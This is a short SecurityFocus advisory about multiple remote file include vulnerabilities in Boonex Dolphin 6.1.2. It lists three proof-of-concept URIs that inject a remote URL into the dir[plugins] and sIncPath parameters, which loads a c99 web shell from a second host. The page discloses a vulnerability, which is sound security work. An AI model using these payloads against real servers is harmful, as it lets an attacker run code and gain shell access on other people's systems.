Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

Boonex Dolphin Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues using a browser.

The following proof-of-concept URIs are available:

http://www.example.com/Dolphin-v.6.1.2-Free/plugins/safehtml/HTMLSax3.php?dir[plugins]=http://www.example2.com/shells/c99in.txt?
http://www.example.com/Dolphin-v.6.1.2-Free/plugins/safehtml/safehtml.php?dir[plugins]=http://www.example2.com/shells/c99in.txt?
http://www.example.com/Dolphin-v.6.1.2-Free/ray/modules/global/inc/content.inc.php?sIncPath=http://www.example2.com/shells/c99in.txt?







 

Privacy Statement
Copyright 2009, SecurityFocus